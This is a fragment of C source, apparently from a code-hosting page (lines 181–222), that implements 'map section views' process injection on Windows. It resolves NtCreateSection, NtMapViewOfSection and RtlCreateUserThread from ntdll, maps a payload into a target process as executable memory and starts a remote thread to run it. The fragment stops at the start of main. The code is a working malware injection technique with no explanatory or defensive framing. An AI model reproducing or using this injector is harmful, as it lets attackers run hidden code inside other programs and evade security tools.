map section views injection
| 181 | |
| 182 | // map section views injection |
| 183 | int InjectVIEW(HANDLE hProc, unsigned char * payl, unsigned int payl_len) { |
| 184 | |
| 185 | HANDLE hSection = NULL; |
| 186 | PVOID pLocalView = NULL, pRemoteView = NULL; |
| 187 | HANDLE hThread = NULL; |
| 188 | CLIENT_ID cid; |
| 189 | |
| 190 | // create memory section |
| 191 | NtCreateSection_t pNtCreateSection = (NtCreateSection_t) GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtCreateSection"); |
| 192 | if (pNtCreateSection == NULL) |
| 193 | return -2; |
| 194 | pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, (PLARGE_INTEGER) &payl_len, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); |
| 195 | |
| 196 | // create local section view |
| 197 | NtMapViewOfSection_t pNtMapViewOfSection = (NtMapViewOfSection_t) GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtMapViewOfSection"); |
| 198 | if (pNtMapViewOfSection == NULL) |
| 199 | return -2; |
| 200 | pNtMapViewOfSection(hSection, GetCurrentProcess(), &pLocalView, NULL, NULL, NULL, (SIZE_T *) &payl_len, ViewUnmap, NULL, PAGE_READWRITE); |
| 201 | |
| 202 | // throw the payl into the section |
| 203 | memcpy(pLocalView, payl, payl_len); |
| 204 | |
| 205 | // create remote section view (target process) |
| 206 | pNtMapViewOfSection(hSection, hProc, &pRemoteView, NULL, NULL, NULL, (SIZE_T *) &payl_len, ViewUnmap, NULL, PAGE_EXECUTE_READ); |
| 207 | |
| 208 | // execute the payl |
| 209 | RtlCreateUserThread_t pRtlCreateUserThread = (RtlCreateUserThread_t) GetProcAddress(GetModuleHandle("NTDLL.DLL"), "RtlCreateUserThread"); |
| 210 | if (pRtlCreateUserThread == NULL) |
| 211 | return -2; |
| 212 | pRtlCreateUserThread(hProc, NULL, FALSE, 0, 0, 0, pRemoteView, 0, &hThread, &cid); |
| 213 | if (hThread != NULL) { |
| 214 | WaitForSingleObject(hThread, 500); |
| 215 | CloseHandle(hThread); |
| 216 | return 0; |
| 217 | } |
| 218 | return -1; |
| 219 | } |
| 220 | |
| 221 | |
| 222 | int main(void) { |